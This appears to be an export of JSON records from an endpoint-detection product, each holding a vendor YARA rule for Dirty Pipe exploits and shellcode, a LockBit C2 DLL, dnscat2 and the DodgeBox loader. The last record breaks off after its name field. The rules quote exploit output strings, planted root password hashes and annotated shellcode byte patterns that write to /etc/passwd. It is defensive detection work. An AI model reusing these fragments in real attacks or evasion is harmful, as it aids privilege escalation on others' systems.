+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dirty_pipe_pocs_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564570Z",
+  "creation_date": "2026-03-23T11:46:25.564572Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564579Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://dirtypipe.cm4all.com/\nhttps://github.com/rexpository/Linux-privilege-escalation\nhttps://github.com/logm1lo/CVE-2022-0847_DirtyPipe_Exploits"
+  ],
+  "name": "dirty_pipe_pocs.yar",
+  "content": "rule dirty_pipe_pocs {\n    meta:\n        title = \"Dirty Pipe (CVE-2022-0847) POCs\"\n        id = \"d615a487-d042-4671-a5b9-cbbf4d0efce5\"\n        description = \"Detects attempts to exploit the Dirty Pipe (CVE-2022-0847) vulnerability.\\nDirty Pipe is a local privilege escalation flaw in the Linux Kernel. It exploits how the kernel manages pages in pipes, allowing attackers to write to read-only files in the page cache and escalate privileges.\\nThis vulnerability can be used to gain root access by manipulating memory-mapped files.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://dirtypipe.cm4all.com/\\nhttps://github.com/rexpository/Linux-privilege-escalation\\nhttps://github.com/logm1lo/CVE-2022-0847_DirtyPipe_Exploits\"\n        date = \"2022-10-11\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2022-0847\"\n        classification = \"Linux.Exploit.DirtyPipe\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // d4258bc267b3bfa05d88ebf418ddb615fdfb5fdd64fd5704ccd6cb3172ad84d8\n        // f5b772288e1718143472864ce3d4ad030be572d9dc2ce0b3367a4a649d07850c\n        // 3fe97b37b5027d5bdb45ab444a45a75c49725dc02aa4c7a51383d03750fe9443\n        // fe2eaf9257905f7905ef8cadaed832b8cad447502ddf3832361fa4753201c30a\n        // 726d07e8ca75c717f27273b72c5db135d878d8ddb9c7cb0e98d040fc7b07fca6\n        // 32a8da3e8b513e51e1a45e1d18c80c97a2bb5c562f65f02bbb649e3972473a5b\n        // 90bd0027c17350fb33920bf5f5321f6e384ef5e45e0f96346cccbda81d8dc57e\n        // fe148e09d57969a4e9d226a9eeea4979b415836313e136979a368ad4228e4a57\n        // b915a423471cd975e0ead78783b83382928403aa845062faf972fd8e297e9a20\n        // e9e8e91fb28494af0bac973d65bb0a2faed4e4fe20b86ee8e2b9b6655e750710\n        // 4c95a54dd86da94a8c3abf66597ac9881e9d0e0944361b3715fd38edbea7e667\n        // 0021d6267b978b63eae52a6e1f29123497c0be2b680086c11037d3280e0a453c\n        // a90549461e426f9010b8286a7a65c211f4b45ec1f9df10e54e0fb95540f433b9\n\n        // These have many different \"critical\" strings.\n        // https://github.com/xnderLAN/CVE-2022-0847\n        // https://github.com/LudovicPatho/CVE-2022-0847_dirty-pipe\n        // https://github.com/phuonguno98/CVE-2022-0847-DirtyPipe-Exploits/blob/main/dirtypipez.c\n        // https://github.com/phuonguno98/CVE-2022-0847-DirtyPipe-Exploits/blob/main/exploit-2.c\n        // https://github.com/logm1lo/CVE-2022-0847_DirtyPipe_Exploits/blob/main/exploit-2.c\n        // https://github.com/drapl0n/dirtypipes\n        // https://github.com/VinuKalana/DirtyPipe-CVE-2022-0847\n        // https://github.com/githublihaha/DirtyPIPE-CVE-2022-0847\n        $critical1 = \"[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\" fullword ascii\n        $critical2 = \":$6$root$xgJsQ7yaob86QFGQQYOK0UUj.tXqKn0SLwPRqCaLs19pqYr0p1euYYLqIC6Wh2NyiiZ0Y9lXJkClRiZkeB/Q.0:0:\" fullword ascii\n        $critical3 = \"[+] hijacking suid binary..\" fullword ascii\n\n        // https://github.com/sa-infinity8888/Dirty-Pipe-CVE-2022-0847\n        $critical4 = \":$1$root$9gr5KxwuEdiI80GtIzd.U0:0:0:rootuser:/root:/bin/sh\" fullword ascii\n\n        // https://github.com/Shotokhan/cve_2022_0847_shellcode\n        // https://github.com/tufanturhan/CVE-2022-0847-L-nux-PrivEsc\n        // https://github.com/antx-code/CVE-2022-0847/\n        $critical5 = \":$1$antx-soc$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\" fullword ascii\n        $critical6 = \"Done! Popping shell... (run commands now)\" fullword ascii\n\n        // https://github.com/phuonguno98/CVE-2022-0847-DirtyPipe-Exploits/blob/main/exploit-1.c\n        $critical7 = \"Setting root password to \\\"piped\\\"...\" fullword ascii\n\n        // https://github.com/phuonguno98/CVE-2022-0847-DirtyPipe-Exploits/blob/main/dirtypipe_exploit.c\n        // https://github.com/Nekoox/dirty-pipe\n        $smart_exploit_1 = \"Usage: %s TARGETFILE OFFSET DATA\" fullword ascii\n\n        // https://github.com/phuonguno98/CVE-2022-0847-DirtyPipe-Exploits/blob/main/exploit-1.c\n        // https://github.com/logm1lo/CVE-2022-0847_DirtyPipe_Exploits/blob/main/exploit-1.c\n        // https://github.com/Nekoox/dirty-pipe\n        $smart_exploit_2 = \"prepare_pipe\" fullword ascii\n\n        // https://github.com/tufanturhan/CVE-2022-0847-L-nux-PrivEsc\n        // https://github.com/Nekoox/dirty-pipels\n        // https://github.com/sa-infinity8888/Dirty-Pipe-CVE-2022-0847\n        $smart_exploit_3 = \"Sorry, cannot write across a page boundary\" fullword ascii\n        $smart_exploit_4 = \"system() function call seems to have failed :(\" fullword ascii\n\n        // https://github.com/CYB3RK1D/CVE-2022-0847-POC/blob/main/dirty-%7C-pipe.c\n        $smarter_exploit_1 = \"please enter %s filename payload\" fullword ascii\n        $smarter_exploit_2 = \"pipe_prep\" fullword ascii\n        $smarter_exploit_3 = \"dirty_pipe\" fullword ascii\n\n        // https://github.com/Shotokhan/cve_2022_0847_shellcode\n        $binary_poc = \"tiny_cve-2022-0847.c\" fullword ascii\n\n    condition:\n        uint16(0) == 0x457f and ((any of ($critical*)) or (2 of ($smart_exploit_*)) or (2 of ($smarter_exploit_*)) or ($binary_poc))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dirty_pipe_pocs"
+  ],
+  "rule_creation_date": "2022-10-11",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Exploit.DirtyPipe"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dirty_pipe_shellcode_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564601Z",
+  "creation_date": "2026-03-23T11:46:25.564604Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564609Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://dirtypipe.cm4all.com/\nhttps://github.com/Shotokhan/cve_2022_0847_shellcode"
+  ],
+  "name": "dirty_pipe_shellcode.yar",
+  "content": "rule dirty_pipe_shellcode {\n    meta:\n        title = \"Dirty Pipe Shellcode\"\n        id = \"72232214-761a-449c-85a9-03b3c2126c40\"\n        description = \"Detects the Dirty Pipe shellcode, a Linux kernel vulnerability (CVE-2022-0847) that enables local privilege escalation.\\nDirty Pipe exploits how the kernel handles memory pages in pipes, allowing attackers to write to read-only files in the page cache.\\nThis can lead to unauthorized access to sensitive files like \\\"/etc/passwd\\\", enabling persistence or escalating privileges.\\nThe shellcode typically creates pipes, manipulates their size, and writes to the page cache to achieve persistence or privilege escalation.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://dirtypipe.cm4all.com/\\nhttps://github.com/Shotokhan/cve_2022_0847_shellcode\"\n        date = \"2022-10-24\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2022-0847\"\n        classification = \"Linux.Exploit.DirtyPipe\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n\n        // Detection for this sample:\n        // 2a19c25305e2b810307e6b5170d14838e2ecf77ce2ef9ee69049d6ed0232e81b\n\n        // This might change if the exploit decides to write to a different file but this is most common.\n        $openat_etc_passwd = {\n            68 72 76 65 01                                // push    1657672h\n            81 34 24 01 01 01 01                          // xor     dword ptr [rsp], 1010101h\n            48 B8 2F 65 74 63 2F 70 61 73                 // mov     rax, 7361702F6374652Fh\n            50                                            // push    rax\n            48 89 E6                                      // mov     rsi, rsp\n            6A 9C                                         // push    0FFFFFFFFFFFFFF9Ch\n            5F                                            // pop     rdi\n            31 D2                                         // xor     edx, edx\n            31 C0                                         // xor     eax, eax\n            66 B8 01 01                                   // mov     ax, 101h\n            0F 05                                         // syscall                 ; LINUX - sys_openat\n        }\n\n        /*\n        *   prog += indent + \"syscall\\n\"\n        *   # fd of pipes will be 4 and 5\n        *   prog += shellcraft.fcntl(5, F_GETPIPE_SZ)\n        *   # mov return value of fcntl to r15; assume r15 % PAGE_SIZE == 0\n        *   prog += shellcraft.mov(dest=\"r15\", src=\"rax\")\n        *   # need r14 for backup\n        *   prog += shellcraft.mov(dest=\"r14\", src=\"r15\")\n        *   prog += shellcraft.mov('rdi', 5)\n        *   prog += indent + f\"sub rsp, {PAGE_SIZE}\\n\"\n        *   # now esp points to \"buffer\" variable\n        *   prog += shellcraft.mov(dest=\"rsi\", src=\"rsp\")\n        */\n        $setting_pipes = {\n            48 83 EC 10                                   // sub     rsp, 10h\n            48 89 E7                                      // mov     rdi, rsp\n            6A 16                                         // push    16h\n            58                                            // pop     rax\n            0F 05                                         // syscall                 ; LINUX - sys_pipe\n            6A 05                                         // push    5\n            5F                                            // pop     rdi\n            31 F6                                         // xor     esi, esi\n            66 BE 08 04                                   // mov     si, 408h\n            6A 48                                         // push    48h ; 'H'\n            58                                            // pop     rax\n            0F 05                                         // syscall                 ; LINUX - sys_fcntl\n            49 89 C7                                      // mov     r15, rax\n            4D 89 FE                                      // mov     r14, r15\n            6A 05                                         // push    5\n            5F                                            // pop     rdi\n            48 81 EC ?? ?? ?? ??                          // sub     rsp, ???????h\n            48 89 E6                                      // mov     rsi, rsp\n        }\n\n        // prog += shellcraft.splice(3, 'rsp', 5, NULL, 1, 0)\n        $dirty_pipe_1 = {\n            6A ??                                         // push    ??\n            45 31 D2                                      // xor     r10d, r10d\n            6A 01                                         // push    1\n            41 58                                         // pop     r8\n            45 31 C9                                      // xor     r9d, r9d\n            6A 03                                         // push    3\n            5F                                            // pop     rdi\n            6A 05                                         // push    5\n            5A                                            // pop     rdx\n            48 89 E6                                      // mov     rsi, rsp\n            31 C0                                         // xor     eax, eax\n            66 B8 13 01                                   // mov     ax, 113h\n            0F 05                                         // syscall                 ; LINUX - sys_splice\n        }\n\n        // [SNIP] - Moving root password into the stack\n\n        // Writing to page cache\n        // prog += shellcraft.write(5, data, data_len)\n        // prog += shellcraft.exit_group(0)\n        $dirty_pipe_2 = {\n            48 89 E6                                      // mov     rsi, rsp\n            6A 05                                         // push    5\n            5F                                            // pop     rdi\n            6A ??                                         // push    ??\n            5A                                            // pop     rdx\n            6A 01                                         // push    1\n            58                                            // pop     rax\n            0F 05                                         // syscall                 ; LINUX - sys_write\n            31 FF                                         // xor     edi, edi\n            31 C0                                         // xor     eax, eax\n            B0 E7                                         // mov     al, 0E7h\n            0F 05                                         // syscall                 ; LINUX - sys_exit_group\n        }\n\n    condition:\n        uint16(0) == 0x457f and ($openat_etc_passwd or $setting_pipes) and (all of ($dirty_pipe_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dirty_pipe_shellcode"
+  ],
+  "rule_creation_date": "2022-10-24",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Exploit.DirtyPipe"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dll_network_lockbit_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584035Z",
+  "creation_date": "2026-03-23T11:46:25.584037Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584043Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a\nhttps://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "dll_network_lockbit.yar",
+  "content": "rule dll_network_lockbit {\n    meta:\n        title = \"DLL Network LockBit\"\n        id = \"85544435-fb8f-4316-90ef-ba86bedcfb30\"\n        description = \"Detects a DLL used by LockBit 3.0.\\nThis DLL, named dll_network, was involved in an attack against Boeing in 2023.\\nIt is created via a PowerShell script named 123.ps1 and executed using rundll32.exe.\\nThe file is used during the initial stage of the attack to establish communication with a command and control (C2) server.\"\n        references = \"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a\\nhttps://attack.mitre.org/techniques/T1071/001/\"\n        date = \"2023-11-23\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Backdoor.LockBit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 0eb66eebb9b4d671f759fb2e8b239e8a6ab193a732da8583e6e8721a2670a96d\n\n        $s1 = \">>>>>>> RESULT:\" fullword ascii\n        $s2 = \"***REGESTRATION_TARGET***\" fullword ascii\n        $s3 = \">>>>>> ON HIDDEN MODE\" fullword ascii\n        $s4 = \">> ERROR WORK MOD <<\" fullword ascii\n        $s5 = \">> GET_SERVERS\" fullword ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dll_network_lockbit"
+  ],
+  "rule_creation_date": "2023-11-23",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.LockBit"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dnscat2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564723Z",
+  "creation_date": "2026-03-23T11:46:25.564725Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564730Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/\nhttps://github.com/iagox86/dnscat2\nhttps://attack.mitre.org/techniques/T1572"
+  ],
+  "name": "dnscat2.yar",
+  "content": "rule dnscat2 {\n    meta:\n        title = \"Dnscat2 HackTool\"\n        id = \"7d5155f6-efd1-43f2-86fc-aea75428c90c\"\n        description = \"Detects dnscat2, a DNS tunneling tool.\\nAdversaries may use the DNS protocol to communicate with their C&C as a way to circumvent network protections.\\nIt is recommended to check the network communications of the process (if any) to look for suspicious behavior in the binary.\"\n        references = \"https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/\\nhttps://github.com/iagox86/dnscat2\\nhttps://attack.mitre.org/techniques/T1572\"\n        date = \"2025-09-24\"\n        modified = \"2025-09-30\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1572;attack.t1071.004;attack.t1568.003;attack.exfiltration;attack.t1048.003\"\n        classification = \"HackTool.dnscat2\"\n        context = \"process,memory,file.pe,file.elf\"\n        os = \"Windows,Linux,MacOS\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a394574bca30e5ef7ece2e60da94575fa7e82b92d51d2b62681299d7479d94cb (Windows)\n        // 33b80a22946204aecde965725355a68e37c63f2b08861082de2506fc359ff147 (Linux)\n\n        $s1 = \"It looks like you're running dnscat2 with the system DNS server\" ascii\n        $s2 = \"length <= MAX_DNSCAT_LENGTH(driver->domain)\" ascii\n        $s3 = \"[0x%04x] session = 0x%04x, seq = 0x%04x, ack = 0x%04x, data = 0x%x bytes\" ascii\n        $s4 = \"[request] :: request_id: 0x%04x\" ascii\n        $s5 = \"Peer verified with pre-shared secret!\" ascii\n\n        $encryption_salsa20_windows_convention = {\n            65 78 70 61          // mov     dword [ebp-0x18 {o[0]}], 0x61707865\n            [2-6] 6E 64 20 33    // mov     dword [ebp-0x14 {o[1]}], 0x3320646e\n            [2-6] 32 2D 62 79    // mov     dword [ebp-0x10 {o[2]}], 0x79622d32\n            [2-6] 74 65 20 6B    // mov     dword [ebp-0xc {o[3]}], 0x6b206574\n        }\n\n        // [2-6] since mov byte rbp extends to 5-6 opcodes when arithmetic operand > 0x80 - unlikely but possible.\n        // Function prelude included for Yara performance.\n        $encryption_salsa20_linux_convention = {\n            55                // push    rbp {__saved_rbp}\n            48 89 E5          // mov     rbp, rsp {__saved_rbp}\n            48 83 EC ??       // sub     rsp, 0x38\n            48 89 [2-6]       // mov     qword [rbp-0x28 {var_30}], rdi\n            48 89 [2-6]       // mov     qword [rbp-0x30 {var_38}], rsi\n            48 89 [2-6]       // mov     qword [rbp-0x38 {var_40}], rdx\n            [2-6] 65          // mov     byte [rbp-0x20], 'e'\n            [2-6] 78          // mov     byte [rbp-0x1f {var_27}], 'x'\n            [2-6] 70          // mov     byte [rbp-0x1e {var_26}], 'p'\n            [2-6] 61          // mov     byte [rbp-0x1d {var_25}], 'a'\n            [2-6] 6E          // mov     byte [rbp-0x1c {var_24}], 'n'\n            [2-6] 64          // mov     byte [rbp-0x1b {var_23}], 'd'\n            [2-6] 20          // mov     byte [rbp-0x1a {var_22}], ' '\n            [2-6] 33          // mov     byte [rbp-0x19 {var_21}], '3'\n            [2-6] 32          // mov     byte [rbp-0x18 {var_20}], '2'\n            [2-6] 2D          // mov     byte [rbp-0x17 {var_1f}], '-'\n            [2-6] 62          // mov     byte [rbp-0x16 {var_1e}], 'b'\n            [2-6] 79          // mov     byte [rbp-0x15 {var_1d}], 'y'\n            [2-6] 74          // mov     byte [rbp-0x14 {var_1c}], 't'\n            [2-6] 65          // mov     byte [rbp-0x13 {var_1b}], 'e'\n            [2-6] 20          // mov     byte [rbp-0x12 {var_1a}], ' '\n            [2-6] 6B          // mov     byte [rbp-0x11 {var_19}], 'k'\n        }\n\n    condition:\n        1 of ($s*) and 1 of ($encryption_salsa20*)\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "dnscat2"
+  ],
+  "rule_creation_date": "2025-09-24",
+  "rule_modified_date": "2025-09-30",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "HackTool.dnscat2"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.004",
+    "attack.t1568.003",
+    "attack.t1572",
+    "attack.t1048.003"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dogebox_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582564Z",
+  "creation_date": "2026-03-23T11:46:25.582566Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582572Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.zscaler.com/blogs/security-research/dodgebox-deep-dive-updated-arsenal-apt41-part-1"
+  ],
+  "name": "dogebox.yar",
+  "content": "rule dodgebox_loader {\n    meta:\n        title = \"DodgeBox Loader\"\n        id = \"0e315028-9215-4fdb-9f81-d19f5e71a4b0\"\n        description = \"Detects DodgeBox Loader from APT41.\\nDodgeBox is a reflective DLL loader written in C developed by APT41. It is designed to decrypt and load embedded DLLs, conduct environment checks and bindings, and perform cleanup procedures to maintain persistence.\\nIt is recommended to analyze the affected process and their behavior to identify malicious activities.\"\n        references = \"https://www.zscaler.com/blogs/security-research/dodgebox-deep-dive-updated-arsenal-apt41-part-1\"\n        date = \"2024-07-18\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1574.002;attack.t1480;attack.t1480.001;attack.t1027;attack.t1027.007;attack.t1620;attack.t1106;attack.t1562.001\"\n        classification = \"Windows.Loader.DodgeBox\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c6a3a1ea84251aed908702a1f2a565496d583239c5f467f5dcd0cfc5bfb1a6db\n        // 33fd050760e251ab932e5ca4311b494ef72cee157b20537ce773420845302e49\n\n        $machineguid = {\n            4? C7 [2] 28 [0-3]          //  mov     dword ptr [r11+10h], 28h ; '('\n            0F 5? ??                    //  xorps   xmm0, xmm0\n            4? 89 [0-2]                 //  mov     [r11+20h], rax\n            4? 8B ??                    //  mov     rbx, rcx\n            33 ??                       //  xor     edx, edx\n            4? 8B [5-8]                 //  mov     rcx, cs:off_18002BA00\n            4? C7 ?? 02 00 00 80        //  mov     r9, 0FFFFFFFF80000002h\n            0F 11 [1-3]                 //  movups  [rsp+98h+Src], xmm0\n            0F 11 [1-3]                 //  movups  [rsp+98h+var_28], xmm0\n            4? 8B ?? [1-6]              //  mov     rcx, [rcx+1F0h]\n            4? 8D ?? ??                 //  lea     r8d, [rdx+5]\n            4? 89 ?? ??                 //  mov     [r11-18h], rax\n            4? 8D ?? ??                 //  lea     rax, [r11+20h]\n            4? 89 ?? ??                 //  mov     [r11-60h], rax\n            4? 8D [1-6]                 //  lea     rax, aSoftwareMicros ; \"SOFTWARE\\\\Microsoft\\\\Cryptography\"\n            C7 [1-3] 01 01 [0-2]        //  mov     dword ptr [rsp+98h+var_68], 101h\n            4? C7 [2-6]                 //  mov     qword ptr [r11-70h], 0\n            4? 89 [0-2]                 //  mov     [r11-78h], rax\n            E8 [1-4]                    //  call    sub_180002FF0\n            85 ??                       //  test    eax, eax\n            0F 85                       //  jnz     loc_180001D44\n        }\n\n        $machineguid_reversed = { 4D 61 63 68 69 6E 65 47 75 69 64 }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dodgebox_loader"
+  ],
+  "rule_creation_date": "2024-07-18",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.DodgeBox"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007",
+    "attack.t1562.001",
+    "attack.t1480.001",
+    "attack.t1027",
+    "attack.t1106",
+    "attack.t1574.002",
+    "attack.t1480",
+    "attack.t1620"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-donut_loader_0148a149ae21_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582291Z",
+  "creation_date": "2026-03-23T11:46:25.582293Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582299Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1140/\nhttps://attack.mitre.org/techniques/T1027/\nhttps://github.com/TheWover/donut\nhttps://thewover.github.io/Introducing-Donut/"
+  ],
+  "name": "donut_loader_0148a149ae21.yar",
